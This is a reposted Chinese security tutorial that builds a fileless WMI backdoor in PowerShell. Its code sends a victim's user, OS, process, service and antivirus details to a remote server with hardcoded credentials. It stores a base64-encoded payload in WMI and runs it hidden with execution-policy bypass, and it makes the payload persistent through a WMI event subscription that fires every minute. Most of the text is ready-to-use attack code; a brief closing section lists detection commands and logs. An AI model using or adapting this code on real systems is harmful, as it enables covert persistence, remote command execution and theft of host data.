转载

WMI Backdoor

0x00 前言

上篇介绍了如何通过powershell来实现WMI attacks,这次接着介绍一些 进阶WMI技巧---WMI Backdoor

WMI Backdoor

配图为Mandiant在M-Trends 2015报告中提到的“How threat actors use WMI to maintain persistence”(即上篇提到的隐蔽定时启动程序)

0x01 简介

结合上篇WMI attacks的基础知识来设计WMI Backdoor

特点:

不在Client和Server留下任何文件 不改动注册表 仅使用powershell实现 

0x02 测试环境

CLIENT:

192.168.40.208 Win8x86 

SERVER:

192.168.40.206 Win7x64 Username:a Password:testtest 

0x03 思路

作为后门,所以把隐蔽性放在首位

Clinet需要满足如下功能:

上传信息至服务器 获取指令执行 定时启动 

0x04 功能实现

1、Client将本机信息发送至Server

《WMI attacks-3、存储payload》提到,可将数据存储于此,不会留下文件,实际位于硬盘上的一个复杂的数据库中(objects.data)

设计思路:

Client获取主机配置信息-连接远程服务器-保存在远程服务器 Server读取信息 

实现:

(1)Client获取主机配置信息-连接远程服务器-保存在远程服务器

Client端Powershell代码如下:

#连接192.168.40.206 $Options = New-Object Management.ConnectionOptions $Options.Username = 'a' $Options.Password = 'testtest' $Options.EnablePrivileges = $True $Connection = New-Object Management.ManagementScope $Connection.Path = '//192.168.40.206/root/cimv2' $Connection.Options = $Options $Connection.Connect() $EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null) #新建类名 $EvilClass['__CLASS'] = 'Win32_UserInfo' $EvilClass.Properties.Add('IP19216840208', [Management.CimType]::String, $False) #获取主机配置信息 $GetOS=Get-WmiObject -Namespace ROOT/CIMV2 -Class Win32_OperatingSystem  $GetProcess=Get-WmiObject -Namespace ROOT/CIMV2 -Class Win32_Process $GetService=Get-WmiObject -Namespace ROOT/CIMV2 -Class Win32_Service -Filter "State='Running'" $GetUser=Get-WmiObject -Namespace ROOT/CIMV2 -Class Win32_ComputerSystem $GetAV=Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct #注:Powershell中换行符为`n $EvilClass.Properties['IP19216840208'].Value =           $GetUser.UserName+"`n"+"OS:"+$GetOS.Caption+";"+$GetOS.OSArchitecture+"`n"+"AntiVirusProduct:"+ $GetAV.displayName+"`n"+"Process:"+"`n"+$GetProcess.Name+"`n"+"Service Start:"+"`n"+$GetService.Name #存储 $EvilClass.Put() 

如图

WMI Backdoor

(2)Server端执行查询获取主机信息

 ([WmiClass] 'Win32_UserInfo').Properties['IP19216840208'] 

如图

WMI Backdoor

2、Client获取指令并执行

设计思路:

Client加密存储指令 Client读取指令-解密-执行 

实现:

(1)Client加密存储指令

Client端Powershell代码如下:

#定义Payload,为保证变量能够解析,需要使用单引号‘ $Payload=@' $Options = New-Object Management.ConnectionOptions $Options.Username = 'a' $Options.Password = 'testtest' $Options.EnablePrivileges = $True $Connection = New-Object Management.ManagementScope $Connection.Path = '//192.168.40.206/root/cimv2' $Connection.Options = $Options $Connection.Connect() $EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null) $EvilClass['__CLASS'] = 'Win32_CommandTest' $EvilClass.Properties.Add('IP19216840208', [Management.CimType]::String, $False) $EvilClass.Properties['IP19216840208'].Value ="Run Command Test!"  $EvilClass.Put()  '@ #对payload作base64加密 $bytes  = [System.Text.Encoding]::Unicode.GetBytes($Payload); $EncodedPayload = [System.Convert]::ToBase64String($bytes);  #存储加密后的payload $StaticClass = New-Object Management.ManagementClass('root/cimv2', $null,$null) $StaticClass.Name = 'Win32_Command' $StaticClass.Put() $StaticClass.Properties.Add('EnCommand' , $EncodedPayload) $StaticClass.Put()  

如图

WMI Backdoor

(2)查看加密的payload

([WmiClass] 'Win32_Command').Properties['EnCommand'] 

如图

WMI Backdoor

(3)Client读取指令-解密-执行

#读取加密payload $EncodedPayload=([WmiClass] 'Win32_Command').Properties['EnCommand'].Value #PowerShell执行命令 $PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod  -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload #显示解密指令 $bytes2  = [System.Convert]::FromBase64String($EncodedPayload); $decoded = [System.Text.Encoding]::Unicode.GetString($bytes2);  "decoded Payload:" $decoded 

如图

WMI Backdoor

server端执行

([WmiClass] 'Win32_CommandTest').Properties['IP19216840208']

验证是否成功

如图

WMI Backdoor

3、Client定时执行powershell命令

#读取加密指令 $EncodedPayload=([WmiClass] 'Win32_Command').Properties['EnCommand'].Value $filterName = 'BotFilter56' $consumerName = 'BotConsumer56' #创建一个__EventFilter,用于设定触发条件,每隔60s执行一次 $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root/subscription" -Arguments @{Name=$filterName;EventNameSpace="root/cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop #创建一个CommandLineEventConsumer,用于设定执行的操作 $Arg =@{   Name=$consumerName    CommandLineTemplate="C:/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe  -NonInteractive  -enc $EncodedPayload" } $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root/subscription" -Arguments $Arg #用于绑定filter和consumer Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root/subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}  

如图

WMI Backdoor

0x05 补充

对于定时启动功能的进一步说明

1、EventFilter

可以理解为通过执行WQL查询来设定触发条件,包括以下查询:

(1)Data queries

SELECT * FROM Win32_NTLogEvent WHERE Logfile = 'Application 

(2)Event queries

SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Service' AND TargetInstance._Class = 'win32_TerminalService' 

(3)Schema queries

SELECT * FROM meta_class WHERE __this ISA "Win32_BaseService" 

2、 consumer

可以理解为条件满足后执行的操作,包括如下查询:

(1)ActiveScriptEventConsumer     (2)LogFileEventConsumer  (3)NTEventLogEventConsumer (4)SMTPEventConsumer (5)CommandLineEventConsumer 

3、使用consumer执行vbs脚本的两种方式

(1)直接执行现有脚本

instance of ActiveScriptEventConsumer as $Cons {     Name = "ASEC";     ScriptingEngine = "VBScript";     ScriptFileName = "c://asec2.vbs"; }; 

(2)内嵌脚本,不会留下痕迹

instance of ActiveScriptEventConsumer as $Cons {  Name = "ASEC";  ScriptingEngine = "VBScript";  ScriptText =   "Dim objFS, objFile/n"   "Set objFS = CreateObject(/"Scripting.FileSystemObject/")/n"   "Set objFile = objFS.OpenTextFile(/"C://ASEC.log/","   " 8, true)/nobjFile.WriteLine /"Time: /" & Now & /";"   " Entry made by: ASEC/"/nobjFile.WriteLine"   " /"Application closed. UserModeTime:  /" & "   "TargetEvent.TargetInstance.UserModeTime &_/n"   "/"; KernelModeTime: /" & "   "TargetEvent.TargetInstance.KernelModeTime "   "& /" [hundreds of nanoseconds]/"/n"   "objFile.Close/n"; };  

参考资料:

https://msdn.microsoft.com/en-us/library/aa392902(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/aa393250(v=vs.85).aspx

0x06 小结

本文仅用来介绍WMI Attacks的进阶应用技巧,请勿用于非法用途

再次提一下WMI的检测方法:

#List Event Filters Get-WMIObject -Namespace root/Subscription -Class __EventFilter  #List Event Consumers Get-WMIObject -Namespace root/Subscription -Class __EventConsumer  #List Event Bindings Get-WMIObject -Namespace root/Subscription -Class __FilterToConsumerBinding 

查看日志

– Microsoft-Windows-WinRM/Operational – Microsoft-Windows-WMI-Activity/Operational – Microsoft-Windows-DistributedCOM 

甚至禁用Winmgmt服务从根本上阻止该方法的使用

本文由三好学生原创并首发于乌云drops,转载请注明

正文到此结束
Loading...